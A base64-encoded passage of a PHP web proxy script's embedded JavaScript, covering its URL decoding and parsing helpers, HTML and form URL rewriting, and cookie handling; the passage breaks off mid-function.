bmNzJyB8fCBRVUVSWV9TVFJJTkc9PSdqc19mdW5jc19mcmFtZWQnKXsgPz4vLzxzY3JpcHQ+Cgov LyBKQVZBU0NSSVBUIEZVTkNTOiBERUNPRElORyB7e3sKPD9waHAganNfcHJveGVuYygpOyA/PgoK PD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9wZS5iNjRkPWZ1bmN0aW9uKHN0cmluZyl7Cgl2YXIg YmlucmVwPSIiLGRlY3N0cj0iIjsKCXZhciBjaGFybnVtLGNoYXJiaW47CglzdHJpbmc9c3RyaW5n LnJlcGxhY2UoL1s9XSokLywiIik7Cglmb3IodmFyIGk9MDtpPHN0cmluZy5sZW5ndGg7aSsrKXsK CQljaGFybnVtPXN0cmluZy5jaGFyQ29kZUF0KGkpOwoJCWlmKGNoYXJudW0+PTk3KSBjaGFybnVt LT03MTsKCQllbHNlIGlmKGNoYXJudW0+PTY1KSBjaGFybnVtLT02NTsKCQllbHNlIGlmKGNoYXJu dW0+PTQ4KSBjaGFybnVtKz00OwoJCWVsc2UgaWYoY2hhcm51bT09NDMpIGNoYXJudW09NjI7CgkJ ZWxzZSBpZihjaGFybnVtPT00NykgY2hhcm51bT02MzsKCQliaW5yZXArPXRoaXMuZGVjdG9iaW4o Y2hhcm51bSw2KTsKCX0KCWZvcih2YXIgaT0wO2krODxiaW5yZXAubGVuZ3RoO2krPTgpewoJCWNo YXJiaW49YmlucmVwLnN1YnN0cihpLDgpOwoJCWRlY3N0cis9U3RyaW5nLmZyb21DaGFyQ29kZSh0 aGlzLmJpbnRvZGVjKGNoYXJiaW4pKTsKCX0KCXJldHVybiBkZWNzdHI7Cn0KCjw/cGhwIGVjaG8o Q09PS19QUkVGKTsgPz5fcGUucHJveGRlYz1mdW5jdGlvbih1cmwpewoJdmFyIG5ld191cmwsY2hh cm51bTsKCWlmKHVybC5zdWJzdHIoMCwxKSE9J34nICYmIHVybC5zdWJzdHIoMCwzKS50b0xvd2Vy Q2FzZSgpIT0nJTdlJykgcmV0dXJuIHVybDsKCXdoaWxlKHVybC5zdWJzdHIoMCwxKT09J34nIHx8 IHVybC5zdWJzdHIoMCwzKS50b0xvd2VyQ2FzZSgpPT0nJTdlJyl7CgkJdXJsPXVybC5zdWJzdHIo MSx1cmwubGVuZ3RoLTEpOwoJCXVybD10aGlzLmI2NGQodXJsKTsKCQluZXdfdXJsPSIiOwoJCWZv cihpPTA7aTx1cmwubGVuZ3RoO2krKyl7CgkJCWNoYXJudW09dXJsLmNoYXJDb2RlQXQoaSk7CgkJ CWNoYXJudW0tPSI8P3BocCBlY2hvKFNFU1NfUFJFRik7ID8+Ii5jaGFyQ29kZUF0KGklIjw/cGhw IGVjaG8oU0VTU19QUkVGKTsgPz4iLmxlbmd0aCk7CgkJCXdoaWxlKGNoYXJudW08MzIpIGNoYXJu dW0rPTk0OwoJCQluZXdfdXJsKz1TdHJpbmcuZnJvbUNoYXJDb2RlKGNoYXJudW0pOwoJCX0KCQl1 cmw9bmV3X3VybDsKCX0KCXJldHVybiBkZWNvZGVVUklDb21wb25lbnQodXJsKTsgLy8gdXJsZGVj b2RlKCkKfQoKLy8gfX19CgovLyBKQVZBU0NSSVBUIEZVTkNTOiBDT09LX1BSRUYgT0JKRUNUIHt7 ewoKPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pj17CgpVUkxSRUc6PD9waHAgZWNobyhzdWJzdHIo VVJMUkVHLDAsc3RybGVuKFVSTFJFRyktMSkpOyA/PiwKVEhJU19TQ1JJUFQ6Ijw/cGhwIGVjaG8o VEhJU19TQ1JJUFQpOyA/PiIsCkNPT0tfUFJFRjoiPD9waHAgZWNobyhDT09LX1BSRUYpOyA/PiIs CnBlOjw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fcGUsCmdlbl9jdXJyX3VybG9iajpmdW5jdGlv bigpeyB0aGlzLmN1cnJfdXJsb2JqPW5ldyB0aGlzLmF1cmwodGhpcy5DVVJSX1VSTCk7IH0sCgpn ZXRDb29raWVBcnI6ZnVuY3Rpb24oKXsgcmV0dXJuIGRvY3VtZW50LmNvb2tpZS5zcGxpdCgiOyAi KTsgfSwKCmF1cmw6ZnVuY3Rpb24odXJsLHRvcHVybCl7Cgl0aGlzLlVSTFJFRz08P3BocCBlY2hv KENPT0tfUFJFRik7ID8+LlVSTFJFRzsKCXRoaXMuVEhJU19TQ1JJUFQ9PD9waHAgZWNobyhDT09L X1BSRUYpOyA/Pi5USElTX1NDUklQVDsKCXRoaXMuRU5DUllQVF9VUkxTPTw/cGhwIGVjaG8oQ09P S19QUkVGKTsgPz4uRU5DUllQVF9VUkxTOwoKCXRoaXMudHJpbT1mdW5jdGlvbihzdHIpeyByZXR1 cm4gc3RyLnJlcGxhY2UoL15ccyooW1xzXFNdKj8pXHMqJC8sIiQxIik7IH0KCgl0aGlzLmdldF9m aWVsZHJlcT1mdW5jdGlvbihmaWVsZG5vLHZhbHVlKXsKCQl2YXIgZmllbGRyZXFzPW5ldyBBcnJh eSgpOwoJCWZpZWxkcmVxc1syXT0iOi8vIisodmFsdWUhPSIiP3ZhbHVlKyJAIjoiIik7CgkJZmll bGRyZXFzWzRdPSh2YWx1ZSE9IiIgJiYgcGFyc2VJbnQodmFsdWUpIT04MD8iOiIrcGFyc2VJbnQo dmFsdWUpOiIiKTsKCQlmaWVsZHJlcXNbN109KHZhbHVlIT0iIj8iPyIrdmFsdWU6IiIpOwoJCWZp ZWxkcmVxc1s4XT0odmFsdWUhPSIiPyIjIit2YWx1ZToiIik7CgkJaWYoZmllbGRyZXFzW2ZpZWxk bm9dIT11bmRlZmluZWQpIHJldHVybiB2YWx1ZTsKCQkvLyByZXR1cm4gKHZhbHVlIT0iIj9udWxs OnZhbHVlKTsKCQllbHNlIHJldHVybiBmaWVsZHJlcXNbZmllbGRub107Cgl9CgoJdGhpcy5zZXRf cHJvdG89ZnVuY3Rpb24ocHJvdG8pewoJCWlmKHByb3RvPT11bmRlZmluZWQpIHByb3RvPSJodHRw IjsKCQlpZih0aGlzLmxvY2tlZCkgcmV0dXJuOwoJCXRoaXMucHJvdG89cHJvdG87Cgl9Cgl0aGlz LmdldF9wcm90bz1mdW5jdGlvbigpeyByZXR1cm4gdGhpcy5wcm90bzsgfQoKCXRoaXMuZ2V0X3Vz ZXJwYXNzPWZ1bmN0aW9uKCl7IHJldHVybiB0aGlzLnVzZXJwYXNzOyB9Cgl0aGlzLnNldF91c2Vy cGFzcz1mdW5jdGlvbih1c2VycGFzcyl7IGlmKHVzZXJwYXNzPT11bmRlZmluZWQpIHVzZXJwYXNz PSIiOyB0aGlzLnVzZXJwYXNzPXVzZXJwYXNzOyB9Cgl0aGlzLmdldF9zZXJ2ZXJuYW1lPWZ1bmN0 aW9uKCl7IHJldHVybiB0aGlzLnNlcnZlcm5hbWU7IH0KCXRoaXMuc2V0X3NlcnZlcm5hbWU9ZnVu Y3Rpb24oc2VydmVybmFtZSl7IGlmKHNlcnZlcm5hbWU9PXVuZGVmaW5lZCkgc2VydmVybmFtZT0i IjsgdGhpcy5zZXJ2ZXJuYW1lPXNlcnZlcm5hbWU7IH0KCXRoaXMuZ2V0X3BvcnR2YWw9ZnVuY3Rp b24oKXsgcmV0dXJuICgodGhpcy5wb3J0dmFsPT0iIik/KHRoaXMuZ2V0X3Byb3RvKCk9PSJodHRw cyI/IjQ0MyI6IjgwIik6dGhpcy5wb3J0dmFsKTsgfQoJdGhpcy5zZXRfcG9ydHZhbD1mdW5jdGlv bihwb3J0KXsgaWYocG9ydD09dW5kZWZpbmVkKSBwb3J0PSIiOyB0aGlzLnBvcnR2YWw9KChwYXJz ZUludChwb3J0KSE9ODApP3BvcnQ6IiIpLnRvU3RyaW5nKCk7IH0KCXRoaXMuZ2V0X3BhdGg9ZnVu Y3Rpb24oKXsgLy8gKioqCgkJaWYodGhpcy5wYXRoLmluZGV4T2YoIi8uLi8iKSE9LTEpIHRoaXMu cGF0aD10aGlzLnBhdGgucmVwbGFjZSgvKD86XC9bXlwvXSspezAsMX1cL1wuXC5cLy9nLCIvIik7 CgkJaWYodGhpcy5wYXRoLmluZGV4T2YoIi8uLyIpIT0tMSkgd2hpbGUoKHBhdGg9dGhpcy5wYXRo LnJlcGxhY2UoIi8uLyIsIi8iKSkgJiYgcGF0aCE9dGhpcy5wYXRoKSB0aGlzLnBhdGg9cGF0aDsK CQlyZXR1cm4gdGhpcy5wYXRoOwoJfQoJdGhpcy5zZXRfcGF0aD1mdW5jdGlvbihwYXRoKXsgaWYo cGF0aD09dW5kZWZpbmVkKSBwYXRoPSIvIjsgdGhpcy5wYXRoPXBhdGg7IH0KCXRoaXMuZ2V0X2Zp bGU9ZnVuY3Rpb24oKXsgcmV0dXJuIHRoaXMuZmlsZTsgfQoJdGhpcy5zZXRfZmlsZT1mdW5jdGlv bihmaWxlKXsgaWYoZmlsZT09dW5kZWZpbmVkKSBmaWxlPSIiOyB0aGlzLmZpbGU9ZmlsZTsgfQoJ dGhpcy5nZXRfcXVlcnk9ZnVuY3Rpb24oKXsgcmV0dXJuIHRoaXMucXVlcnk7IH0KCXRoaXMuc2V0 X3F1ZXJ5PWZ1bmN0aW9uKHF1ZXJ5KXsgaWYocXVlcnk9PXVuZGVmaW5lZCkgcXVlcnk9IiI7IHRo aXMucXVlcnk9cXVlcnk7IH0KCXRoaXMuZ2V0X2xhYmVsPWZ1bmN0aW9uKCl7IHJldHVybiB0aGlz LmxhYmVsOyB9Cgl0aGlzLnNldF9sYWJlbD1mdW5jdGlvbihsYWJlbCl7IGlmKGxhYmVsPT11bmRl ZmluZWQpIGxhYmVsPSIiOyB0aGlzLmxhYmVsPWxhYmVsOyB9CgoJdGhpcy5nZXRfdXJsPWZ1bmN0 aW9uKCl7CgkJaWYodGhpcy5sb2NrZWQpIHJldHVybiB0aGlzLnVybDsKCQlyZXR1cm4gdGhpcy5n ZXRfcHJvdG8oKSsiOi8vIisKCQkgICAgICAgKHRoaXMuZ2V0X3VzZXJwYXNzKCk9PSIiPyIiOnRo aXMuZ2V0X3VzZXJwYXNzKCkrIkAiKSsKCQkgICAgICAgdGhpcy5nZXRfc2VydmVybmFtZSgpKwoJ CSAgICAgICAocGFyc2VJbnQodGhpcy5nZXRfcG9ydHZhbCgpKT09ODA/IiI6IjoiK3BhcnNlSW50 KHRoaXMuZ2V0X3BvcnR2YWwoKSkpKwoJCSAgICAgICB0aGlzLmdldF9wYXRoKCkrdGhpcy5nZXRf ZmlsZSgpKwoJCSAgICAgICAodGhpcy5nZXRfcXVlcnkoKT09IiI/IiI6Ij8iK3RoaXMuZ2V0X3F1 ZXJ5KCkpKwoJCSAgICAgICAodGhpcy5nZXRfbGFiZWwoKT09IiI/IiI6IiMiK3RoaXMuZ2V0X2xh YmVsKCkpCgkJOwoJfQoKCXRoaXMuc3Vycm9nYWZ5PWZ1bmN0aW9uKCl7CgkJdmFyIHVybD10aGlz LmdldF91cmwoKTsKCQlpZih0aGlzLmxvY2tlZCB8fCB0aGlzLmdldF9wcm90bygpK3RoaXMuZ2V0 X2ZpZWxkcmVxKDIsdGhpcy5nZXRfdXNlcnBhc3MoKSkrdGhpcy5nZXRfc2VydmVybmFtZSgpK3Ro aXMuZ2V0X3BhdGgoKSt0aGlzLmdldF9maWxlKCk9PXRoaXMuVEhJU19TQ1JJUFQpIHJldHVybiB1 cmw7CgkJdmFyIGxhYmVsPXRoaXMuZ2V0X2xhYmVsKCk7CgkJdGhpcy5zZXRfbGFiZWwoKTsKCQlp Zih0aGlzLkVOQ1JZUFRfVVJMUyAmJiAhdGhpcy5sb2NrZWQpIHVybD08P3BocCBlY2hvKENPT0tf UFJFRik7ID8+LnBlLnByb3hlbmModXJsKTsKCQkvL3VybD10aGlzLlRISVNfU0NSSVBUKyI/PSIr KCF0aGlzLkVOQ1JZUFRfVVJMUz9lc2NhcGUodXJsKTp1cmwpOyAvLyB1cmxlbmNvZGUoKWQKCQl1 cmw9dGhpcy5USElTX1NDUklQVCsiPz0iK3VybDsgLy8gdXJsZW5jb2RlKClkCgkJdGhpcy5zZXRf bGFiZWwobGFiZWwpOwoJCXJldHVybiB1cmw7Cgl9CgoJaWYodXJsLmxlbmd0aD48P3BocCBlY2hv KE1BWElNVU1fVVJMX0xFTkdUSCk/Pil7CgkJLy9hbGVydCh0aGlzLnVybCk7IC8vIERFQlVHCgkJ Ly9hbGVydCh0aGlzLnVybC5sZW5ndGgpOyAvLyBERUJVRwoJCXRoaXMudXJsPSIiOwoJfQoJZWxz ZXsKCQkvL3RoaXMudXJsPXByZWdfcmVwbGFjZSgiLyYjKFswLTldKyk7L2UiLCJjaHIoXFwxKSIg Ly8gcGFyc2UgbGlrZSBQSFAgZG9lcyBmb3IgJiNudW07IEhUTUwgZW50aXRpZXM/IC8vIFRPRE8/ CgkJdGhpcy51cmw9dGhpcy50cmltKHVybC5yZXBsYWNlKCImYW1wOyIsIiYiKS5yZXBsYWNlKCJc ciIsIiIpLnJlcGxhY2UoIlxuIiwiIikpOwoJfQoKCXRoaXMudG9wdXJsPXRvcHVybDsKCXRoaXMu bG9ja2VkPXVybC5tYXRjaCg8P3BocCBlY2hvKEFVUkxfTE9DS19SRUdFWFApOyA/Pik7IC8vKgoK CWlmKCF0aGlzLmxvY2tlZCl7CgkJdmFyIHVybHdhc3ZhbGlkPXRydWU7CgkJaWYoIXRoaXMudXJs Lm1hdGNoKHRoaXMuVVJMUkVHKSl7CgkJCXVybHdhc3ZhbGlkPWZhbHNlOwoJCQlpZih0aGlzLnRv cHVybD09dW5kZWZpbmVkKSB0aGlzLnVybD0iaHR0cDovLyIrKCh0aGlzLnVybC5jaGFyQXQoMCk9 PSI6IiB8fCB0aGlzLnVybC5jaGFyQXQoMCk9PSIvIik/dGhpcy51cmwuc3Vic3RyaW5nKDEpOnRo aXMudXJsKSsodGhpcy51cmwuaW5kZXhPZigiLyIpIT0tMT8iIjoiLyIpOwoJCQllbHNlewoJCQkJ dmFyIG5ld3VybD10aGlzLnRvcHVybC5nZXRfcHJvdG8oKSsiOi8vIit0aGlzLmdldF9maWVsZHJl cSgyLHRoaXMudG9wdXJsLmdldF91c2VycGFzcygpKSt0aGlzLnRvcHVybC5nZXRfc2VydmVybmFt ZSgpKygodGhpcy50b3B1cmwuZ2V0X3BvcnR2YWwoKSE9ODAgJiYgKHRoaXMudG9wdXJsLmdldF9w cm90bygpPT0iaHR0cHMiP3RoaXMudG9wdXJsLmdldF9wb3J0dmFsKCkhPTQ0Mzp0cnVlKSk/Ijoi K3RoaXMudG9wdXJsLmdldF9wb3J0dmFsKCk6IiIpOwoJCQkJaWYodGhpcy51cmwuc3Vic3RyaW5n KDAsMSkhPSIvIikgbmV3dXJsKz10aGlzLnRvcHVybC5nZXRfcGF0aCgpOwoJCQkJdGhpcy51cmw9 bmV3dXJsK3RoaXMudXJsOwoJCQl9CgkJfQoKCQl0aGlzLnNldF9wcm90bygodXJsd2FzdmFsaWQg fHwgdGhpcy50b3B1cmw9PXVuZGVmaW5lZD90aGlzLnVybC5yZXBsYWNlKC9eKFteOl0rKS4qJC8s IlwkMSIpOnRoaXMudG9wdXJsLmdldF9wcm90bygpKSk7CgkJdGhpcy5zZXRfdXNlcnBhc3ModGhp cy51cmwucmVwbGFjZSh0aGlzLlVSTFJFRywiXCQyIikpOwoJCXRoaXMuc2V0X3NlcnZlcm5hbWUo dGhpcy51cmwucmVwbGFjZSh0aGlzLlVSTFJFRywiXCQzIikpOwoJCXRoaXMuc2V0X3BvcnR2YWwo dGhpcy51cmwucmVwbGFjZSh0aGlzLlVSTFJFRywiXCQ0IikpOwoJCXRoaXMuc2V0X3BhdGgodGhp cy51cmwucmVwbGFjZSh0aGlzLlVSTFJFRywiXCQ1IikpOwoJCXRoaXMuc2V0X2ZpbGUodGhpcy51 cmwucmVwbGFjZSh0aGlzLlVSTFJFRywiXCQ2IikpOwoJCXRoaXMuc2V0X3F1ZXJ5KHRoaXMudXJs LnJlcGxhY2UodGhpcy5VUkxSRUcsIlwkNyIpKTsKCQl0aGlzLnNldF9sYWJlbCh0aGlzLnVybC5y ZXBsYWNlKHRoaXMuVVJMUkVHLCJcJDgiKSk7Cgl9CgoJLy9pZighdGhpcy5sb2NrZWQgJiYgIXRo aXMudXJsLm1hdGNoKHRoaXMuVVJMUkVHKSkgaGF2b2soNyx0aGlzLnVybCk7IC8vKgp9LAoKc3Vy cm9nYWZ5X3VybDpmdW5jdGlvbih1cmwsdG9wdXJsLGFkZHByb3h5KXsKCXVybD11cmwudG9TdHJp bmcoKTsKCWlmKCF1cmwuc3Vic3RyaW5nKSByZXR1cm47CglpZihhZGRwcm94eT09dW5kZWZpbmVk KSBhZGRwcm94eT10cnVlOwoJdmFyIHVybHF1b3RlPSIiOwoJaWYoKHVybC5zdWJzdHJpbmcoMCwx KT09IlwiIiB8fCB1cmwuc3Vic3RyaW5nKDAsMSk9PSInIikgJiYgdXJsLnN1YnN0cmluZygwLDEp PT11cmwuc3Vic3RyaW5nKHVybC5sZW5ndGgtMSx1cmwubGVuZ3RoKSl7CgkJdXJscXVvdGU9dXJs LnN1YnN0cmluZygwLDEpOwoJCXVybD11cmwuc3Vic3RyaW5nKDEsdXJsLmxlbmd0aC0xKTsKCX0K CWlmKHRvcHVybD09dW5kZWZpbmVkKSB0b3B1cmw9dGhpcy5jdXJyX3VybG9iajsKCXZhciB1cmxv Ymo9bmV3IHRoaXMuYXVybCh1cmwsdG9wdXJsKTsKCXZhciBuZXdfdXJsPShhZGRwcm94eT91cmxv Ymouc3Vycm9nYWZ5KCk6dXJsb2JqLmdldF91cmwoKSk7CglpZih1cmxxdW90ZSE9IiIpIG5ld191 cmw9dXJscXVvdGUrbmV3X3VybCt1cmxxdW90ZTsKCXJldHVybiBuZXdfdXJsOwp9LAoKc3Vycm9n YWZ5X3VybF90b29iajpmdW5jdGlvbih1cmwsdG9wdXJsLGFkZHByb3h5KXsKCXVybD11cmwudG9T dHJpbmcoKTsKCWlmKCF1cmwuc3Vic3RyaW5nKSByZXR1cm47CglpZihhZGRwcm94eT09dW5kZWZp bmVkKSBhZGRwcm94eT10cnVlOwoJaWYoKHVybC5zdWJzdHJpbmcoMCwxKT09IlwiIiB8fCB1cmwu c3Vic3RyaW5nKDAsMSk9PSInIikgJiYgdXJsLnN1YnN0cmluZygwLDEpPT11cmwuc3Vic3RyaW5n KHVybC5sZW5ndGgtMSx1cmwubGVuZ3RoKSkgdXJsPXVybC5zdWJzdHJpbmcoMSx1cmwubGVuZ3Ro LTEpOwoJaWYodG9wdXJsPT11bmRlZmluZWQpIHRvcHVybD10aGlzLmN1cnJfdXJsb2JqOwoJcmV0 dXJuIG5ldyB0aGlzLmF1cmwodXJsLHRvcHVybCk7Cn0sCgpkZV9zdXJyb2dhZnlfdXJsOmZ1bmN0 aW9uKHVybCl7CglpZih1cmw9PXVuZGVmaW5lZCkgcmV0dXJuICIiOwoJdXJsPXVybC50b1N0cmlu ZygpOwoJaWYodXJsLm1hdGNoKDw/cGhwIGVjaG8oRlJBTUVfTE9DS19SRUdFWFApOyA/PikgfHwg IXVybC5tYXRjaCg8P3BocCBlY2hvKEFVUkxfTE9DS19SRUdFWFApOyA/PikpIHJldHVybiB1cmw7 CglyZXR1cm4gdGhpcy5wZS5wcm94ZGVjKGRlY29kZVVSSUNvbXBvbmVudCh1cmwuc3Vic3RyaW5n KHVybC5pbmRleE9mKCc/JykrMSkucmVwbGFjZSg8P3BocCBlY2hvKFBBR0VUWVBFX1JFR0VYUCk7 ID8+LCJcJDIiKSkpOyAvLyB1cmxkZWNvZGUoKQp9LAoKYWRkX3F1ZXJ5c3R1ZmY6ZnVuY3Rpb24o dXJsLHF1ZXJ5c3R1ZmYpewoJdmFyIHBvcz11cmwuaW5kZXhPZignPycpOwoJcmV0dXJuIHVybC5z dWJzdHIoMCxwb3MrMSkrcXVlcnlzdHVmZit1cmwuc3Vic3RyKHBvcysxLHVybC5sZW5ndGgtcG9z KTsKfSwKCnByZWdfbWF0Y2hfYWxsOmZ1bmN0aW9uKHJlZ2V4cHN0cixzdHJpbmcpewoJdmFyIG1h dGNoYXJyPW5ldyBBcnJheSgpOwoJdmFyIHJlZ2V4cD1uZXcgUmVnRXhwKHJlZ2V4cHN0cik7Cgl2 YXIgcmVzdWx0OwoJd2hpbGUodHJ1ZSl7CgkJcmVzdWx0PXJlZ2V4cC5leGVjKHN0cmluZyk7CgkJ aWYocmVzdWx0IT1udWxsKSBtYXRjaGFyci5wdXNoKHJlc3VsdCk7CgkJZWxzZSBicmVhazsKCX0K CXJldHVybiBtYXRjaGFycjsKfSwKCmZyYW1pZnlfdXJsOmZ1bmN0aW9uKHVybCxmcmFtZV90eXBl KXsKCWlmKChmcmFtZV90eXBlIT09PD9waHAgZWNobyhQQUdFVFlQRV9GUkFNRV9UT1ApOyA/PiB8 fCAhdGhpcy5VUkxfRk9STSkgJiYgKGZyYW1lX3R5cGUhPT08P3BocCBlY2hvKFBBR0VUWVBFX0ZS QU1FRF9QQUdFKTsgPz4gJiYgIXRoaXMuUEFHRV9GUkFNRUQpKSByZXR1cm4gdXJsOwoJdmFyIHVy bHF1b3RlPSIiOwoJaWYoKHVybC5zdWJzdHJpbmcoMCwxKT09IlwiIiB8fCB1cmwuc3Vic3RyaW5n KDAsMSk9PSInIikgJiYgdXJsLnN1YnN0cmluZygwLDEpPT11cmwuc3Vic3RyaW5nKHVybC5sZW5n dGgtMSx1cmwubGVuZ3RoKSl7CgkJdXJscXVvdGU9dXJsLnN1YnN0cmluZygwLDEpOwoJCXVybD11 cmwuc3Vic3RyaW5nKDEsdXJsLmxlbmd0aC0xKTsKCX0KCWlmKCF1cmwubWF0Y2goPD9waHAgZWNo byhGUkFNRV9MT0NLX1JFR0VYUCk7ID8+KSl7CgkJdmFyIHF1ZXJ5OwoJCWlmKGZyYW1lX3R5cGU9 PT08P3BocCBlY2hvKFBBR0VUWVBFX0ZSQU1FX1RPUCk7ID8+ICYmIHRoaXMuVVJMX0ZPUk0pIHF1 ZXJ5PScmPSc7CgkJZWxzZSBpZihmcmFtZV90eXBlPT09PD9waHAgZWNobyhQQUdFVFlQRV9GUkFN RURfQ0hJTEQpOyA/PikgcXVlcnk9Jy4mPSc7CgkJZWxzZSBpZihmcmFtZV90eXBlPT09PD9waHAg ZWNobyhQQUdFVFlQRV9GUkFNRURfUEFHRSk7ID8+IHx8IHRoaXMuUEFHRV9GUkFNRUQpIHF1ZXJ5 PSdfJj0nOwoJCWVsc2UgcXVlcnk9Jyc7CgkJdXJsPXVybC5yZXBsYWNlKC9eKFteXD9dKilbXD9d Pzw/cGhwIGVjaG8oUEFHRVRZUEVfTUlOSVJFR0VYUCk7ID8+KFteI10qP1sjXT8uKj8pJC8sJ1wk MT89JytxdWVyeSsnXCQzJyk7Cgl9CglpZih1cmxxdW90ZSE9IiIpIHVybD11cmxxdW90ZSt1cmwr dXJscXVvdGU7CglyZXR1cm4gdXJsOwp9LAoKcGFyc2VfaHRtbDpmdW5jdGlvbihyZWdleHAscGFy dG9wYXJzZSxodG1sLGFkZHByb3h5LGZyYW1pZnkpewoJdmFyIG1hdGNoLGJlZ2luLGVuZCxudXJs OwoJaWYoaHRtbC5tYXRjaChyZWdleHApKXsKCQl2YXIgbWF0Y2hhcnI9dGhpcy5wcmVnX21hdGNo X2FsbChyZWdleHAsaHRtbCk7CgkJdmFyIG5ld2h0bWw9IiI7CgkJZm9yKHZhciBrZXkgaW4gbWF0 Y2hhcnIpewoJCQkvKm1hdGNoPW1hdGNoYXJyW2ldOwoJCQludXJsPXRoaXMuc3Vycm9nYWZ5X3Vy bChtYXRjaFtwYXJ0b3BhcnNlXSx1bmRlZmluZWQsYWRkcHJveHkpOwoJCQluaHRtbD1tYXRjaFsw XS5yZXBsYWNlKG1hdGNoW3BhcnRvcGFyc2VdLG51cmwpOwoJCQlodG1sPWh0bWwucmVwbGFjZSht YXRjaFswXSxuaHRtbCk7Ki8KCQkJbWF0Y2g9bWF0Y2hhcnJba2V5XTsKCQkJaWYobWF0Y2hbcGFy dG9wYXJzZV0hPXVuZGVmaW5lZCl7CgkJCQliZWdpbj1odG1sLmluZGV4T2YobWF0Y2hbcGFydG9w YXJzZV0pOwoJCQkJZW5kPWJlZ2luK21hdGNoW3BhcnRvcGFyc2VdLmxlbmd0aDsKCQkJCW51cmw9 dGhpcy5zdXJyb2dhZnlfdXJsKG1hdGNoW3BhcnRvcGFyc2VdLHVuZGVmaW5lZCxhZGRwcm94eSk7 CgkJCQlpZihmcmFtaWZ5KSBudXJsPXRoaXMuZnJhbWlmeV91cmwobnVybCxmcmFtaWZ5KTsKCQkJ CW5ld2h0bWwrPWh0bWwuc3Vic3RyaW5nKDAsYmVnaW4pK251cmw7CgkJCQlodG1sPWh0bWwuc3Vi c3RyaW5nKGVuZCk7CgkJCX0KCQl9CgkJaHRtbD1uZXdodG1sK2h0bWw7Cgl9CglyZXR1cm4gaHRt bDsKfSwKCnBhcnNlX2FsbF9odG1sOmZ1bmN0aW9uKCl7CglpZihhcmd1bWVudHNbMF09PW51bGwp IHJldHVybjsKCXZhciBodG1sPWFyZ3VtZW50c1swXS50b1N0cmluZygpOwoJdmFyIGtleTsKCWZv cih2YXIga2V5IGluIHJlZ2V4cF9hcnJheXMpewoJCWlmKChhcmd1bWVudHMubGVuZ3RoPjEgJiYg a2V5IT1hcmd1bWVudHNbMV0pIHx8IGtleT09J3RleHQvamF2YXNjcmlwdCcpIGNvbnRpbnVlOwoJ CWFycj1yZWdleHBfYXJyYXlzW2tleV07CgkJZm9yKHZhciByZWdleHBfYXJyYXlrZXkgaW4gYXJy KXsKCQkJcmVnZXhwX2FycmF5PWFycltyZWdleHBfYXJyYXlrZXldOwoJCQlpZihyZWdleHBfYXJy YXlbMF09PXVuZGVmaW5lZCkgY29udGludWU7CgkJCWlmKHJlZ2V4cF9hcnJheVswXT09MSkgaHRt bD1odG1sLnJlcGxhY2UocmVnZXhwX2FycmF5WzFdLHJlZ2V4cF9hcnJheVsyXSk7CgkJCWVsc2Ug aWYocmVnZXhwX2FycmF5WzBdPT0yKXsKCQkJCWFkZHByb3h5PShyZWdleHBfYXJyYXkubGVuZ3Ro PjM/cmVnZXhwX2FycmF5WzNdOnRydWUpOwoJCQkJZnJhbWlmeT0ocmVnZXhwX2FycmF5Lmxlbmd0 aD40P3JlZ2V4cF9hcnJheVs0XTpmYWxzZSk7CgkJCQlodG1sPXRoaXMucGFyc2VfaHRtbChyZWdl eHBfYXJyYXlbMV0scmVnZXhwX2FycmF5WzJdLGh0bWwsYWRkcHJveHksZnJhbWlmeSk7CgkJCX0K CQl9Cgl9CglyZXR1cm4gaHRtbDsKfSwKCmZvcm1fYnV0dG9uOm51bGwsCmZvcm1fZW5jcnlwdDpm dW5jdGlvbihmb3JtKXsKCWlmKGZvcm0ubWV0aG9kPT0ncG9zdCcpIHJldHVybiB0cnVlOwoJLy9h Y3Rpb249Zm9ybS48cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4udmFsdWU7Cgl2YXIgYWN0aW9uPWZv cm0uZ2V0RWxlbWVudHNCeU5hbWUodGhpcy5DT09LX1BSRUYpWzBdLnZhbHVlOwoJZm9yKHZhciBp PTE7aTxmb3JtLmVsZW1lbnRzLmxlbmd0aDtpKyspewoJCWlmKGZvcm0uZWxlbWVudHNbaV0uZGlz YWJsZWQgfHwgZm9ybS5lbGVtZW50c1tpXS5uYW1lPT0nJyB8fCBmb3JtLmVsZW1lbnRzW2ldLnZh bHVlPT0nJyB8fCBmb3JtLmVsZW1lbnRzW2ldLnR5cGU9PSdyZXNldCcpIGNvbnRpbnVlOwoJCWlm KGZvcm0uZWxlbWVudHNbaV0udHlwZT09J3N1Ym1pdCcpewoJCQlpZihmb3JtLmVsZW1lbnRzW2ld Lm5hbWUhPXRoaXMuZm9ybV9idXR0b24pIGNvbnRpbnVlOwoJCQl0aGlzLmZvcm1fYnV0dG9uPW51 bGw7CgkJfQoJCXZhciBwcmVmOwoJCWlmKCFhY3Rpb24ubWF0Y2goL1w/LykpIHByZWY9Ij8iOwoJ CWVsc2UgcHJlZj0iJiI7CgkJYWN0aW9uKz1wcmVmK2Zvcm0uZWxlbWVudHNbaV0ubmFtZSsiPSIr Zm9ybS5lbGVtZW50c1tpXS52YWx1ZTsKCX0KCWxvY2F0aW9uLmhyZWY9dGhpcy5zdXJyb2dhZnlf dXJsKGFjdGlvbik7CglyZXR1cm4gZmFsc2U7Cn0sCgpzZXRBdHRyOmZ1bmN0aW9uKG9iaixhdHRy LHZhbCl7CglpZih0eXBlb2YoYXR0cikhPXR5cGVvZigiIikpewoJCWF0dHI9YXR0ci50b1N0cmlu ZygpOwoJCWF0dHI9YXR0ci5zdWJzdHIoMSxhdHRyLmxlbmd0aC0yKTsKCX0KCglpZihhdHRyPT0i aW5uZXJIVE1MIil7CgkJb2JqW2F0dHJdPXRoaXMucGFyc2VfYWxsX2h0bWwodmFsKTsKCQlyZXR1 cm4gb2JqW2F0dHJdOwoJfQoKCWlmKG9iaj09bG9jYXRpb24gJiYgYXR0cj09Imhvc3RuYW1lIikg cmV0dXJuIHRoaXMuTE9DQVRJT05fSE9TVE5BTUU7CgoJaWYob2JqPT1kb2N1bWVudCAmJiBhdHRy PT0iY29va2llIil7CgkJY29uc3QgQ09PS19SRUc9L14oW149XSopPShbXjtdKikoPzo7W1xzXFNd Kj8pPyQvaTsKCQl2YXIgcmVhbGhvc3Q9dGhpcy5MT0NBVElPTl9IT1NUTkFNRS5yZXBsYWNlKCIv Xnd3dy9pIiwiIikucmVwbGFjZSgiLiIsIl8iKTsKCQl2YXIgY29va2tleT12YWwucmVwbGFjZShD 